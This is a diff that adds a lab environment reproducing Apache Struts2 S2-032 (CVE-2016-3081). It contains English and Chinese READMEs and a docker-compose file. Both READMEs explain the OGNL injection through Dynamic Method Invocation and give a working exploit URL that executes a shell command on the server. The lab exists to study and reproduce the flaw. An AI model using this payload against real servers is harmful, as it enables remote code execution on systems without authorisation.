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struts2/s2-032/README.md

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+# S2-032 Remote Code Execution Vulnerablity（CVE-2016-3081）
+
+[中文版本(Chinese version)](README.zh-cn.md)
+
+Affected Version: Struts 2.3.20 - Struts Struts 2.3.28 (except 2.3.20.3 and 2.3.24.3)
+
+References:
+
+ - https://cwiki.apache.org/confluence/display/WW/S2-032
+ - https://www.cnblogs.com/mrchang/p/6501428.html
+
+## Setup
+
+Execute the following command to start the Struts2 2.3.28：
+
+```
+docker compose up -d
+```
+
+After the container is running, visit `http://your-ip:8080` that you can see an example page.
+
+## Exploitation
+
+There’s a feature embedded in Struts 2 that lets the "!" (bang) character invoke a method other than execute. It is called “Dynamic Method Invocation” aka DMI.
+
+A simple way to use DMI is to provide HTTP parameters prefixed with `method:`. For example in the URL it could be `/category.action?method:create=foo`, the parameter value is ignored.
+
+The method name of DMI will be evaluated by OGNL expression engine, which would cause the RCE vulnerability.
+
+Visit following URL to trigger the `id` command:
+
+```
+http://your-ip:8080/index.action?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&encoding=UTF-8&cmd=id
+```
+
+![](1.png)

struts2/s2-032/README.zh-cn.md

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+# S2-032 远程代码执行漏洞（CVE-2016-3081）
+
+影响版本: Struts 2.3.20 - Struts Struts 2.3.28 (except 2.3.20.3 and 2.3.24.3)
+
+漏洞详情:
+
+ - https://cwiki.apache.org/confluence/display/WW/S2-032
+ - https://www.cnblogs.com/mrchang/p/6501428.html
+
+## 漏洞环境
+
+执行如下命令启动struts2 2.3.28：
+
+```
+docker compose up -d
+```
+
+环境启动后，访问`http://your-ip:8080`即可看到默认页面。
+
+## 漏洞复现
+
+Struts2在开启了动态方法调用（Dynamic Method Invocation）的情况下，可以使用`method:<name>`的方式来调用名字是`<name>`的方法，而这个方法名将会进行OGNL表达式计算，导致远程命令执行漏洞。
+
+直接请求如下URL，即可执行`id`命令：
+
+```
+http://your-ip:8080/index.action?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&encoding=UTF-8&cmd=id
+```
+
+![](1.png)

struts2/s2-032/docker-compose.yml

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+version: '2'
+services:
+ struts2:
+   image: vulhub/struts2:2.3.28
+   ports:
+    - "8080:8080"